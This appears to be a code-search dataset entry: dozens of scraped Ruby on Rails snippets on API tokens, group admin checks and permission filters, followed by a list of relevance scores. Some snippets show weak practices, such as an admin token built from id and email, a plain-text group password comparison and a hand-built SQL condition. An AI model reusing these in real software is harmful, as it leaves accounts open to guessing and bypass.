"def restrict_access \n \t# Não sei o porque, mas é precisa instanciar esse objeto\n \tresponse = nil\n \t\n \t# Verifica se o TOKEN existe\n \t# TODO: Fazer uma validação do TOKEN quando for chamá-lo\n \t# ao invés de fazer isso aqui, pois economiza uma chamada\n \tif params[:token].nil?\n \t\t# bloqueia o acesso\n \t\thead :unauthorized # retirar no futuro quando melhorar a analise do token\n \telse\n \t\t# Faz a chamada pro API da Arich mediante parâmetros no CONFIG da aplicação Rails\n\t\tNet::HTTP.start(Rails.application.config.authentication_location, Rails.application.config.authentication_port) {|http|\n\t\t\t\tresponse = http.head(Rails.application.config.authentication_complement + params[:token])\n\t\t}\n\n\t\t# Analisa o retorno da chamada da API, se algo diferente de\n\t\t# 200 ele rejeita a autenticação\n\t\tif response.code != \"200\"\n\t\t\thead :unauthorized\n\t\tend \n\tend\n end",
"def is_admin_in(group)\n unless group.admins.include? current_user\n flash[:danger] = \"Devi essere un amministratore per eseguire questa azione\"\n redirect_to group_path(uuid: group.uuid)\n end\n end",
"def restrict_access\n\t\t# api_key = ApiKey.find_by_access_token(params[:access_token])\n\t\t# head :unauthorized unless api_key\n\n\t\tauthenticate_or_request_with_http_token do |token, options|\n\t\t\tApiKey.exists?(:access_token => token)\n\t\tend\n\tend",
"def authorize_read_group!\n unless @group and (@projects.present? or can?(current_user, :read_group, @group))\n if current_user.nil?\n return authenticate_user!\n else\n return render_404\n end\n end\n end",
"def update_access_token!\n if self.role_type === \"admin\"\n self.access_token = \"#{self.id}:#{self.email}\"\n else\n self.access_token = \"#{self.id}:#{Devise.friendly_token}\"\n end\n save\n end",
"def admin_user\n @group = Membership.find(params[:id]).group\n redirect_to group_members_url(@group) unless @group.has_admin?(current_user)\n end",
"def create\n @group = Group.new(group_params)\n token = params[:token]\n\n # use the user login instance and match emails to find current user\n @user_login = UserLogin.where(token: token).take\n @current_user = User.where(email: @user_login.email).take\n\n respond_to do |format|\n if @group.save\n\n # create a new group membership for new group w/ current user as admin\n @new_membership = GroupMembership.create(group_id: @group.id, user_id: @current_user.id, is_admin: true)\n\n # associate new membership with the group and the user\n @group.group_memberships << @new_membership\n @current_user.group_memberships << @new_membership\n\n format.html { redirect_to group_path(:id => @group.id), notice: 'Group was successfully created.' }\n format.json { render :show, status: :created, location: @group }\n else\n format.html { render :new }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def restrict_access\n api_key = APIKey.find_by(access_token: params[:access_token])\n render plain: \"You aren't authorized, buster!\", status: 401 unless api_key\n end",
"def group_params\n params.require(:group).permit(:name, :access_level)\n end",
"def group_params\n params.require(:group).permit(*Group.permissions(current_user))\n end",
"def group_params\n params.permit(:group_title, :image, new_members: [], del_members: [], new_admins: [], del_admins: [])\n end",
"def edit\n if GroupsController.group_owner? current_user.id, params[:id]\n set_group\n else\n respond_to do |format|\n format.html { redirect_to groups_path, alert: \"Can't Edit. You are not the group owner\" }\n format.json { render json: \"Only owners can edit the respective group page\", status: :unauthorized }\n end\n end\n end",
"def show\n @game.group = @group\n authorize @game\n end",
"def admin_user\n @group = Group.find(by_id)\n redirect_to @group unless @group.has_admin?(current_user)\n end",
"def index\n @resources = Group.search(params[:search]).where(id: current_user.admin_groups).order(\"#{sort_column} #{sort_direction}\").paginate(per_page: 11, page: params[:page])\n authorize @resources\n end",
"def authorize_for_group(group, actions=Permissions::View)\n authorize_for_user(nil, group, actions)\n end",
"def authenticate_with_api_token!\n unless Project.where(id: params[:project_id], api_token: params[:api_token]).exists?\n render_error_with_message(t('controllers.api.v1.groups.invalid_api_token'), :unauthorized)\n end\n end",
"def add_tokens_to_babysitter_user_group\n current_user.add_tokens(@request_group)\n end",
"def auth_token_params\n params.require(:auth_token).permit(:label, group: [])\n end",
"def atest_ID_25862_new_post_in_group_you_manage()\n login_as_user1\n read_all_updates\n groupName = create_any_new_group(\"Open Group\", \"Family\")\n logout_common\n login_as_user2\n post_to_any_group(\"Family\",groupName)\n logout_common\n login_as_user1\n verify_updates\n end",
"def update\n token = params[:token]\n respond_to do |format|\n if @group.update(group_params)\n format.html { redirect_to group_path(:id => @group.id), notice: 'Group was successfully updated.' }\n format.json { render :show, status: :ok, location: @group }\n else\n format.html { render :edit }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def unlock_access_by_token(unlock_token); end",
"def index\n case params[:filter].to_s\n when 'my'\n authorize Group.new(:owner_id => current_user.id), :update?\n @groups = Group.where(:owner_id => current_user.id)\n else\n authorize Group.new, :update?\n @groups = Group.all\n end\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end",
"def access_inlcude_member\n @post = Post.find params[:id]\n\n unless @post.community_id == 0 \n @community = Community.find_by_id @post.community_id \n if @community.status.to_s == \"private\"\n if validate_member_for(@community,@post)\n #if true then redirect\n redirect_to RAILS_URL\n end\n end \n end\n end",
"def show\n @group = Group.find(params[:id])\n redirect_to groups_path, :flash => {:warning => \"Permission Denied\"}\\\n unless current_power.group? @group\n end",
"def makePriv #:doc:\n if params[:i_am_client] and params[:groups] == nil\n # Groups were searched in editRights-method\n param_groups = @groups\n else\n param_groups = params[:groups]\n end\n \n # try to get file from database\n if not fetchFile\n if params[:i_am_client] \n render :text => \"File not found\", :status => 404\n return\n else\n @error = \"File not found!\"\n render \"viewFileRights\"\n return\n end\n end\n \n begin \n # all groups owned by user\n mygroups = Group.find(:all, :conditions => [\"user_id = ?\", @user.id])\n \n # all groups associated with the file\n filegroup_ids = Array.new\n @file.groups.find(:all).each do |t|\n filegroup_ids.push(t.id)\n end\n \n # check which groups should have access to file\n delete_auth_groups = \"\"\n mygroups.each do |mygroup|\n if param_groups[mygroup.name] == \"1\" and not filegroup_ids.include?(mygroup.id)\n # if group-checkbox is checked, group gets permission to access file\n @file.devfile_auth_groups.create(:group_id => mygroup.id)\n elsif param_groups[mygroup.name] == \"0\" and filegroup_ids.include?(mygroup.id)\n # if group-checkbox is not checked, unauthorize fileaccess to this file\n if delete_auth_groups == \"\" then delete_auth_groups += \"group_id IN (#{mygroup.id}\"\n else delete_auth_groups += \", #{mygroup.id}\" end\n end\n end\n if delete_auth_groups != \"\"\n delete_auth_groups += \") AND devfile_id = ?\"\n DevfileAuthGroup.delete_all([delete_auth_groups, @file.id])\n end\n \n # make file private\n @file.update_attribute(:privatefile, true)\n \n rescue => e\n puts \"Error in editing filerights: \" + e\n if params[:i_am_client] \n render :text => \"Error in editing filerights: \" + e, :status => 409\n return\n else\n @error = \"Error in editing filerights: \" + e\n render \"Error in editing filerights: \" + e\n return\n end\n end\n \n if params[:i_am_client]\n render :text => \"#{@file.name} visibility modified.\", :status => 200\n return\n else\n flash[:notice] = \"#{@file.name} visibility modified.\"\n redirect_to :action => \"viewFileRights\"\n end\n end",
"def find_oauth_access_token\n end",
"def show\n @group = Group.find_by_guid(params[:id])\n respond_to do |format|\n format.json {\n if @group.password == params[:password]\n render json: @group\n else\n render json: \"Forbidden\", status: :forbidden\n end\n }\n format.html # show.html.erb\n end\n end",
"def restrict_access\n authenticate_or_request_with_http_token do |token, options|\n ApiKey.exists?(access_token: token)\n end\n end",
"def authorize\n params[:access_token] ||= params[:oauth_token]\n super\n end",
"def restrict_access\n user = User.find_by_authentication_token(params[:access_token])\n head :unauthorized unless user\n end",
"def access_group_params\n params.require(:access_group).permit(:name, :ldap_group_list)\n end",
"def restrict_access\n authenticate_or_request_with_http_token do |token, options|\n ApiKey.exists?(access_token: token)\n end\nend",
"def auth\n if current_user.nil? \n flash[:notice] = \"You need to login to manage groups\"\n redirect_to new_user_session_path\n elsif cannot? :manage, Admin::Group\n flash[:notice] = \"You do not have permission to manage groups\"\n redirect_to root_path\n end\n end",
"def auth\n if current_user.nil? \n flash[:notice] = \"You need to login to manage groups\"\n redirect_to new_user_session_path\n elsif cannot? :manage, Admin::Group\n flash[:notice] = \"You do not have permission to manage groups\"\n redirect_to root_path\n end\n end",
"def auth\n if current_user.nil? \n flash[:notice] = \"You need to login to manage groups\"\n redirect_to new_user_session_path\n elsif cannot? :manage, Admin::Group\n flash[:notice] = \"You do not have permission to manage groups\"\n redirect_to root_path\n end\n end",
"def restrict_access\n authenticate_or_request_with_http_token do |token, options|\n ApiKey.exists?(access_token: token)\n end\n end",
"def restrict_access\n authenticate_or_request_with_http_token do |token, options|\n ApiKey.exists?(access_token: token)\n end\n end",
"def test_should_join_a_group_as_admin_via_API_JSON\r\n get \"/logout\"\r\n post \"/memberships.json\", :api_key => 'testapikey',\r\n :group_id => 1,\r\n :user_id => 1\r\n assert_response :created\r\n membership = JSON.parse(response.body)\r\n assert membership['user_id'] == 1, 'Incorrect user id'\r\n assert membership['group_id'] == 1, 'Incorrect group id'\r\n assert membership['role_id'].to_i == Role.find_by_rolename('group_admin').id, 'Incorrect role id' \r\n end",
"def update\n @group_member = GroupMember.find(params[:id])\n\n if @group_member.group.owner != current_user\n respond_to do |format|\n format.html { redirect_to @group_member.group, notice: 'User not authorized.' }\n format.json { render json: @group_member, status: :not_authorized, location: @group_member }\n end\n return\n end\n \n respond_to do |format|\n if @group_member.update_attributes(params[:group_member])\n format.html { redirect_to @group_member, notice: 'Group member was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @group_member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def restrict_create\n\t\tauthenticate_or_request_with_http_token do |token, options|\n\t\t\tapi_token = ApiToken.find_by_access_token(token)\n\t\t\t@token_account = api_token.account if api_token\n\t\tend\n\tend",
"def show_group\n group_name = params[:name]\n @group = $iam.groups[group_name]\n @users = @group.users\n @policies = @group.policies\n end",
"def authorize_manageable\n unless @project_group.is_child_of?(@project)\n deny_access\n end\n true\n end",
"def manage_group\n @group = Group.find(params[:id])\n end",
"def update\n# debug(params[:group][:right_ids] Pour faire un debuggage dans le controlleur\n @group = Group.find(params[:id])\n @group.rights.clear\n\n #Mise à jour de droits que possède un groupe\n params[:group][:right_ids] ||= []\n params[:group][:right_ids].each do |right|\n if !(right.blank?)\n @group.add_right(Right.find_by_id(right))\n end\n end\n\n respond_to do |format|\n if @group.update(group_params)\n\n format.html { redirect_to @group, notice: t('group.updated_msg') }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @group = current_user.groups.find_by(id: params[:group_id]) || @groups.first\n end",
"def index\n authorize! :see, Group\n @groups = Group.all\n end",
"def group_params\n params.require(:group).permit(:owner_id, :parent_id, :name, :permissions)\n end",
"def permission_required \n render_403 unless admin? || @user == current_user\n end",
"def li__my_groups(access_keys)\n access_token = OAuth::AccessToken.new(get_linkedin_consumer(3), access_keys[:access_token], access_keys[:access_secret])\n \n \n # -- X. WITH 'posts' -> to be used as part of automatically determining the location of the group (for targeted groups)\n # json_groups = _get_linkedin(access_token, \"people/~/group-memberships:(group:(id,name,num-members,short-description,small-logo-url,large-logo-url,website-url,site-group-url,posts,counts-by-category,locale,location),membership-state)?format=json&start=0&count=1000\")\n \n \n # -- X. WITHOUT 'posts'\n json_groups = _get_linkedin(access_token, \"people/~/group-memberships:(group:(id,name,num-members,short-description,small-logo-url,large-logo-url,website-url,site-group-url,counts-by-category,locale,location),membership-state)?format=json&start=0&count=1000\")\n \n \n # response = access_token.get(\"http://api.linkedin.com/v1/people/~/group-memberships:(group:(id,name,num-members,small-logo-url),membership-state,show-group-logo-in-profile,allow-messages-from-members,email-digest-frequency,email-announcements-from-managers,email-for-every-new-post)?format=json&start=0&count=1000\")\n # response = access_token.get(\"http://api.linkedin.com/v1/groups::(5049608,5112233,5161898):(id,name,site-group-url,posts)?format=json\")\n \n json_groups\n end",
"def create\n group_id = params[:group_id]\n user = User.find(params[:user_id])\n group = Group.find_by_id(group_id)\n if user.is_admin || group.creator == current_user\n role = Role.find_by_rolename('group_admin')\n else\n role = Role.find_by_rolename('user')\n end\n \n is_authorized = false\n\n if group.private\n if user.is_admin || group.creator == current_user\n is_authorized = true\n end\n else\n is_authorized = true\n end \n\n @membership = Membership.create({:group_id => params[:group_id], \n :user_id => user.id,\n :role_id => role.id,\n :authorized => is_authorized})\n if @membership.save\n respond_to do |format|\n format.html { redirect_to group_path(group_id) }\n format.xml { render :xml => @membership, :status => :created } \n format.json { render :json => @membership, :status => :created } \n end\n else\n respond_to do |format|\n format.html { redirect_to group_path(group_id) }\n format.xml { render :xml => @membership.errors, :status => :unprocessable_entity }\n format.json { render :json => @membership.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def restrict_access\n api_key = ApiKey.find_by_access_token(request.headers[\"token\"])\n head :unauthorized unless api_key \n end",
"def do_linkedin_login_2(provider_permissions = {:provider => 1, :permissions => 1})\n \n puts \"---- get_provider_request_token\"\n \n case provider_permissions[:permissions]\n \n when 1 # ----- add groups\n configuration = { :site => 'https://api.linkedin.com',\n :authorize_path => '/uas/oauth/authorize',\n :request_token_path => '/uas/oauth/requestToken?scope=r_fullprofile+r_emailaddress+r_network+r_contactinfo+rw_groups',\n :access_token_path => '/uas/oauth/accessToken' }\n end\n \n consumer = OAuth::Consumer.new(LINKEDIN_API_KEY, LINKEDIN_API_SECRET, configuration)\n \n session[:request_token] = consumer.get_request_token({:oauth_callback => linkedin_auth_accept_url + \"?rk=1\"})\n redirect_to session[:request_token].authorize_url\n \n end",
"def require_admin_of_group\n if !admin_of(current_group)\n # TODO: add flash alert\n redirect_back fallback_location: current_group\n end\n end",
"def authorization; end",
"def create\n ip = request.location\n @user = current_user\n @group = @user.groups_as_owner.new(params[:group])\n params[:group][:member_ids] = (params[:group][:member_ids] << @group.member_ids).flatten\n @group.school_id = @user.school_id\n respond_to do |format|\n if @group.save\n format.html { redirect_to @group, notice: 'Group was successfully created.' }\n format.json { render json: @group, status: :created, location: @group }\n else\n format.html { render action: \"new\" }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def access_expression\n setup_register_objs if @user.nil? || @publisher.nil? || @ad.nil?\n \"#{@publisher.id}-#{@ad.id}-#{@access.token}\"\n end",
"def group_member_params\n params.permit(:users_id, :travel_groups_id)\n end",
"def complete\n group = Group.find_by_uid(params[:group_id])\n\n unless group\n redirect_to app_access_unauthorized_path\n return\n end\n\n # Prepare and return response\n respond_with_identity(current_user,group)\n end",
"def group_params\n params.permit(:name, :share_id, :description, :image, :privacy, :admins_can_add_users, :members_can_create_polls)\n end",
"def is_super_admin_in(group)\n unless group.super_admin == current_user\n flash[:danger] = \"Devi essere il fondatore per eseguire questa azione\"\n redirect_to group_path(uuid: group.uuid)\n end\n end",
"def check_access_control\n @bot = Bot.find(params[:id])\n\n response_access_denied unless current_user.has_role?(:admin) || current_user.id == @bot.account.user_id\n rescue\n response_access_denied\n end",
"def verify_admin_or_god\n return if current_user.admin? || current_user.god?\n\n render(json: format_error(request.path, \"No tenes permiso\"), status: 401)\n end",
"def restrict_access\n unless App.exists?(key: params[:access_token])\n render json: { error: \"API-key invalid. Access denied.\" }, status: :unauthorized\n end\n end",
"def admin_create\n # Ensure that the user can only create GuidanceGroups for their Org\n args = guidance_group_params.to_h.merge({ org_id: current_user.org.id })\n @guidance_groups = GuidanceGroup.where(org_id: current_user.org.id)\n @guidance_group = GuidanceGroup.new(args)\n authorize @guidance_group\n\n if @guidance_group.save\n flash.now[:notice] = success_message(@guidance_group, _('created'))\n render :admin_edit\n else\n flash.now[:alert] = failure_message(@guidance_group, _('create'))\n render :admin_new\n end\n end",
"def admin_create\n @guidance_group = GuidanceGroup.new(guidance_group_params)\n authorize @guidance_group\n @guidance_group.org_id = current_user.org_id\n if params[:save_publish]\n @guidance_group.published = true\n end\n\n if @guidance_group.save\n flash.now[:notice] = success_message(@guidance_group, _(\"created\"))\n render :admin_edit\n else\n flash.now[:alert] = failure_message(@guidance_group, _(\"create\"))\n render :admin_new\n end\n end",
"def create\n\n group = Group.create(group_parm.merge(account_id: current_user.id)) #group creater current user will be the admin of group\n if group.save!\n render :json => Base64.encode64(group.id.to_s) and return\n else\t\t \n render :json => group.errors.full_messages.first and return\n end \n end",
"def authorize!\n api_key = ApiKey.find_by_access_token(params[:access_token])\n head :unauthorized unless api_key\n return false\n end",
"def request_access(_team)\n # stub\n end",
"def group\n strong_memoize(:group) do\n if params[:group_id].present? && valid_request?\n the_group = Group.find_by(id: params[:group_id])\n can?(current_user, :read_group, the_group) ? the_group : nil\n end\n end\n end",
"def groups_access(access)\n group_ids = group_ids_access(access)\n Group.where(id: group_ids)\n end",
"def edit\n @group = current_user.created_groups.find(params[:id])\n end",
"def admin_of(group)\n current_user.is_admin?(group)\n end",
"def new_group_params\n admin_params = {:admin_user => current_user, :admin_password => session[:pwd]}\n params[:group].merge(admin_params)\n end",
"def update\n @user_group = UserGroup.find_by_id(params[:id])\n permission_ids = params[\"permissions\"] || []\n permission_ids.map! {|p| p.to_i}\n current_permission_ids = @user_group.permission_ids\n group_name = params[\"user_group\"][\"name\"]\n\n existed_group = UserGroup.where(:name =>group_name)\n if existed_group.empty? || existed_group.first.id == params[:id].to_i\n if @user_group.update_attributes(params[\"user_group\"])\n\n # The update action make log saved or not\n is_logged = !@user_group.previous_changes.blank?\n if current_permission_ids != permission_ids\n @user_group.permission_ids = permission_ids\n\n # Create log if not logged before\n @user_group.create_activity :update, owner: current_user, params: {:detail => I18n.t('logs.update_group', group_name: @user_group.name)} if !is_logged\n end\n redirect_to organization_user_groups_path(params[:organization_id])\n end\n else\n flash[:error] = t('user_group.exist')\n redirect_to edit_organization_user_group_path(params[:organization_id],@user_group)\n end\n end",
"def require_admin\n grant_access?(\"index\", \"users\")\n #position?('admin')\n end"
] |
[
"0.67444026",
"0.66033125",
"0.6359763",
"0.6310548",
"0.6258549",
"0.6227555",
"0.61632097",
"0.6042519",
"0.60395366",
"0.60339767",
"0.6029276",
"0.60102075",
"0.6004544",
"0.59985596",
"0.5982154",
"0.5971557",
"0.59671026",
"0.59511214",
"0.591891",
"0.5911339",
"0.58932686",
"0.58822787",
"0.5874559",
"0.5871353",
"0.5862533",
"0.5845687",
"0.58363813",
"0.5834488",
"0.582711",
"0.580744",
"0.58064586",
"0.5786758",
"0.5783295",
"0.57814807",
"0.5764366",
"0.5761126",
"0.574362",
"0.57431644",
"0.57376903",
"0.57310784",
"0.5730004",
"0.57149696",
"0.56992173",
"0.5695757",
"0.56950444",
"0.5681947",
"0.56771183",
"0.5670972",
"0.56683415",
"0.5666655",
"0.56665856",
"0.56627506",
"0.56583774",
"0.56564826",
"0.5656304",
"0.5655564",
"0.5655253",
"0.56456506",
"0.5641898",
"0.5641898",
"0.5641898",
"0.5632716",
"0.5632716",
"0.5631661",
"0.5606466",
"0.56063",
"0.56005275",
"0.5600461",
"0.55991405",
"0.5584334",
"0.55824006",
"0.55822814",
"0.5579886",
"0.55793566",
"0.5571778",
"0.5566789",
"0.55590546",
"0.55580175",
"0.5549421",
"0.55429137",
"0.55352587",
"0.55318195",
"0.5530677",
"0.5521133",
"0.551967",
"0.551636",
"0.5508109",
"0.550781",
"0.5502932",
"0.55015075",
"0.549733",
"0.54927796",
"0.54924494",
"0.54883754",
"0.5485644",
"0.5484949",
"0.54811716",
"0.5478951",
"0.54724246",
"0.54718494",
"0.546004"
] |
0.0
|
-1
|
params: access_token, group_id, user_id auth user's right
|
def is_admin
@user = User.find(params[:user_id])
@group = Group.find(params[:group_id])
if @user.is_admin?(@group)
render json: {result: 1}
else
render json: {result: 0}
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def authorize_member\n @user = User.find(params[:user_id])\n @group = Group.find(params[:group_id])\n auth_or_unauth_member(\"auth\", @user, @group)\n end",
"def user_params\n params.require(:user).permit(:current_user, :group_ids => [])\n end",
"def authorize\n \n token = decode_token(@auth_header)\n data = get_canvas_data(@canvas, token.first[\"user_id\"])\n \n data[\"group_id\"] == token.first[\"group_id\"] && data[\"has_access\"] == \"true\"\n \n rescue StandardError => _\n false\n end",
"def restrict_access\n\t\tauthenticate_or_request_with_http_token do |token, options|\n\t\t\tapi_token = ApiToken.find_by_access_token(token)\n\t\t\tparam_account = self.get_account\n\t\t\t# Does the api token exist and if so,\n\t\t\t# does it have the same id as the requester supplied?\n\t\t\tapi_token && api_token.account_id == param_account.id\n\t\tend\n\tend",
"def atest_ID_25873_access_granted_as_follower_of_a_private_group()\n login_as_user1\n read_all_updates\n groupName = create_any_new_group(\"Private\", \"News\")\n logout_common\n login_as_user2\n read_all_updates\n find_a_group(\"#{groupName}\")\n request_invite\n logout_common\n login_as_user1\n verify_updates\n go_to_updates_page\n approve_as_follower\n logout_common\n login_as_user2\n verify_updates\n end",
"def access_params\n params[:access].permit(:user_id)\n end",
"def add_tokens_to_babysitter_user_group\n current_user.add_tokens(@request_group)\n end",
"def show\r\n \r\n\t\t@user = User.find(params[:id])\r\n @microposts = @user.microposts.paginate(page: params[:page])\r\n\r\n \r\n #nur für currentuser...\r\n if @user == current_user\r\n @interests = Array.new\r\n @user.interests.each do |i|\r\n @interests.push(i.hobby)\r\n end\r\n #frage nach aktuellem user ob in gruppe, aber nur wenn user.group == nil...\r\n fbuser = FbGraph::User.fetch(@user.uid, :access_token => @user.oauth_token)\r\n #Teste ob User in FB Gruppe\r\n group = fbuser.groups\r\n @test = group\r\n\r\n # @group_attribute = false\r\n # current_user.group = false\r\n group.each do |x|\r\n if x.name == 'Connectify'\r\n @group_attribute = true\r\n current_user.group = true\r\n break\r\n else\r\n @group_attribute = false\r\n current_user.group = false\r\n end\r\n end\r\n\r\n current_user.save\r\n\r\n else\r\n begin\r\n #user nicht current_user\r\n @exist = UserVisit.where(user_id: @user.id).where(visitor_id: current_user.id).first\r\n if @exist.nil?\r\n @user.user_visits.build(:visitor_id => current_user.id).save!\r\n end\r\n\r\n\r\n #user oauth abgelaufen\r\n if ((Time.now <=> (Time.parse(@user.oauth_expires_at)+(60*60))) == 1)\r\n #do something\r\n \r\n\r\n else #user oauth noch nicht abgelaufen\r\n #Zuerst schauen ob CurrentUser in Gruppe\r\n if current_user.group == false || current_user.group == nil\r\n #frage nach aktuellem user ob in gruppe, aber nur wenn user.group == nil...\r\n fbcurrent_user = FbGraph::User.fetch(current_user.uid, :access_token => current_user.oauth_token)\r\n #Teste ob User in FB Gruppe\r\n group = fbcurrent_user.groups\r\n\r\n group.each do |x|\r\n if x.name == 'Connectify'\r\n current_user.group = true\r\n break\r\n else\r\n current_user.group = false\r\n end\r\n end\r\n\r\n if fbcurrent_user.groups.empty?\r\n current_user.group = false\r\n \r\n end\r\n current_user.save\r\n end\r\n \r\n fbuser = FbGraph::User.fetch(@user.uid, :access_token => @user.oauth_token)\r\n \r\n fbuser.groups.each do |x|\r\n if x.name == 'Connectify'\r\n @user.group = true\r\n break\r\n else\r\n @user.group = false\r\n end\r\n end\r\n\r\n if fbuser.groups.empty?\r\n @user.group = false\r\n end\r\n @user.save\r\n\r\n\r\n end #end user oauth abgelaufen\r\n\r\n rescue FbGraph::Unauthorized => e\r\n case e.message\r\n when /Duplicate status message/\r\n \r\n # handle dup code\r\n when /Error validating access token/\r\n \r\n # handle bad credentials\r\n else\r\n raise e\r\n end\r\n end #end rescue\r\n end # end current oder other user\r\n\r\n\r\n\r\n end",
"def authorize\n params[:access_token] ||= params[:oauth_token]\n super\n end",
"def authorize_group_access\n group_id = group_params[:id]\n\n return if group_id.blank?\n group = Group.find(group_id)\n validate_max_members_not_exceeded!(group)\n return if group_assignment.grouping.groups.find_by(id: group_id)\n\n report_invitation_failure\n raise NotAuthorized, \"You are not permitted to select this team\"\n end",
"def authorize_muser\n puts \"AUTHORIZE USER\"\n puts \"user id #{get_current_muser.id}\"\n puts \"params: #{params[:id]}\"\n render json: { status: 401, message: 'Unauthorized'} unless get_current_muser.id == params[:id].to_i\n end",
"def add_user\n group_id_param = params[:group_id]\n user_id_param = params[:user_id]\n\n if group_id_param.nil? || group_id_param.blank?\n render json: { error: 'group_id not specified.' }, status: :bad_request\n return\n end\n\n if user_id_param.nil? || user_id_param.blank?\n render json: { error: 'user_id not specified.' }, status: :bad_request\n return\n end\n\n user = User.find_by_id(user_id_param)\n if user.nil?\n render json: { error: \"Can't find user #{user_id_param}.\" }, status: :bad_request\n return\n end\n\n group = CanvasSpaces.GroupCategory.groups.find_by_id(group_id_param)\n if group.nil?\n render json: { error: 'No such group found.' }, status: :bad_request\n else\n if @current_user.account.site_admin? ||\n group.leader_id == @current_user.id ||\n @current_user.id == user.id\n\n group.add_user user\n group.save\n\n render json: { message: 'Successfully added user.' }, status: :ok\n else\n # doesn't have access to the group\n render json: { error: \"Can't add user. Not owner or not adding self.\" }, status: :forbidden\n end\n end\n end",
"def send_access_token(user, provider, device_model=\"\", os_version=\"\")\n\n user_token = UserToken.where(\"user_id = ? and provider = ?\", user.id, provider).last\n\n access_token = Tools::Generate.access_token\n refresh_token = Tools::Generate.refresh_token\n\n period = AppConfig.access_token.expired_in.minute\n\n expired_at = (Time.now + period)\n\n if user_token && user_token.token\n user_token.token = access_token\n user_token.refresh_token = refresh_token\n user_token.expired_at = expired_at\n user_token.device_model = device_model\n user_token.os_version = os_version\n user_token.save\n else\n user_token = user.user_tokens.create(token: access_token,\n refresh_token: refresh_token,\n provider: provider,\n expired_at: expired_at,\n device_model: device_model,\n os_version: os_version)\n end\n\n return [access_token, refresh_token] if user_token\n end",
"def restrict_access\n user = User.find_by_authentication_token(params[:access_token])\n head :unauthorized unless user\n end",
"def admin_edit\n @guidance_groups = GuidanceGroup.where(org_id: current_user.org.id)\n @guidance_group = GuidanceGroup.find(params[:id])\n authorize @guidance_group\n end",
"def complete\n group = Group.find_by_uid(params[:group_id])\n\n unless group\n redirect_to app_access_unauthorized_path\n return\n end\n\n # Prepare and return response\n respond_with_identity(current_user,group)\n end",
"def authorize\n @user = User.find_by_id_and_multitrack_token(params[:user_id], params[:token])\n head(@user ? :ok : :forbidden)\n end",
"def token_verify\r\n\r\n #render json: {id: params[\"user\"][\"id\"], params: params}\r\n \r\n user_tmp = User.find(params[:id])\r\n if user_tmp.authentication_token == params[:authentication_token]\r\n $granted = true\r\n render json: false\r\n else\r\n \r\n render json: false\r\n end\r\n end",
"def group_params\n params.require(:group).permit(:org_id, :name, :description, permission_ids: [], user_ids: [])\n end",
"def find_oauth_access_token\n end",
"def do_linkedin_login_2(provider_permissions = {:provider => 1, :permissions => 1})\n \n puts \"---- get_provider_request_token\"\n \n case provider_permissions[:permissions]\n \n when 1 # ----- add groups\n configuration = { :site => 'https://api.linkedin.com',\n :authorize_path => '/uas/oauth/authorize',\n :request_token_path => '/uas/oauth/requestToken?scope=r_fullprofile+r_emailaddress+r_network+r_contactinfo+rw_groups',\n :access_token_path => '/uas/oauth/accessToken' }\n end\n \n consumer = OAuth::Consumer.new(LINKEDIN_API_KEY, LINKEDIN_API_SECRET, configuration)\n \n session[:request_token] = consumer.get_request_token({:oauth_callback => linkedin_auth_accept_url + \"?rk=1\"})\n redirect_to session[:request_token].authorize_url\n \n end",
"def user_access\n @bot = current_user.admin? ? Bot.find(params[:id]) : current_user.bots.find(params[:id])\n\n check_user_access(@bot.account.user_id)\n\n rescue\n flash_access_denied\n end",
"def check_permission\n raise ActiveRecord::RecordNotFound if self.user.nil?\n raise ActiveRecord::RecordNotFound if self.group.nil?\n return true if !group.group_type.is_approval_required && self.user.can_join_groups?\n return true if (self.is_user_invited? || self.is_request_approved?) && self.user.can_join_groups?\n raise ApiAccessEvanta::RecordOutOfScope if self.group.secret? && !self.is_user_invited?\n raise ApiAccessEvanta::PermissionDenied\n end",
"def authorize_for(group)\n current_user.becomes(LearnUser).allowed_to?(group)\n end",
"def access_token\n end",
"def verify_access_token\n auth_token = request.headers['Authorization']\n user_id = auth_token.split(':').first\n \n if user_id == params[:id]\n @user = User.find(user_id)\n render json: UserSerializer.new(@user).serialized_json\n else\n render json: { error: I18n.t('unauthorized') }, status: 401\n end\n end",
"def access_token\n user_token = @user_token\n goat.transaction do\n if user_token.access_token.nil?\n user_token.access_token = request_token.get_access_token\n if !user_token.access_token.nil?\n goat[user_token.user] = user_token\n end\n end\n end\n @user_token = user_token\n @user_token.access_token\n end",
"def index\n id = -1 \n if params[:id] \n id = params[:id]\n else \n id = current_user.id \n end \n\n @user = User.find(id)\n @group = UserGroup.find_by(user_id: id, name: params[:group])\n\n if [email protected]?\n @group_members = get_members(@user, @group)\n end \n\n end",
"def authorize_request\n\t\tauthenticate_with_http_token do |token, options|\n\t\t\tUser.find_by(token: token)\n\t\tend\n\tend",
"def group_user_params\n params.require(:group_user).permit(:group_id, :user_id)\n end",
"def call\n if user\n {access_token:JsonWebToken.encode(user_id: user.id),\n user_role: user.role}\n end \n end",
"def authorize_request\n authenticate_with_http_token do |token, option|\n User.find_by(token: token)\n end\n end",
"def client_in_group\n @group = @user.groups.find_by_id(params[:gid])\n render errors_msg(\"Not In Group\", 404) and return \\\n unless @group\n @g_user = GroupUser.where(group_id: @group.id, user_id: @user.id).first\n end",
"def group_member_params\n params.permit(:users_id, :travel_groups_id)\n end",
"def group_request (v1_requests_params)\n req = Request.find(v1_requests_params[:id])\n @group = Group.where(id: v1_requests_params[:group_id]).first\n user = User.find(req.reciever_id)\n if v1_requests_params[:response]\n @group.users << user\n end\n @group\n end",
"def accessible_user\n @user = User.find(params[:id])\n\n user_accessible = (@user.id == current_user.id) # can edit self\n unless user_accessible\n # check if user is in accessible group\n groups = Group.accessible_by(current_ability)\n @user.groups_users.each do |groups_user|\n if groups.include?(groups_user.group)\n user_accessible = true\n break\n end\n end\n end\n unless user_accessible\n raise CanCan::AccessDenied.new(\"Permission error\")\n end\n end",
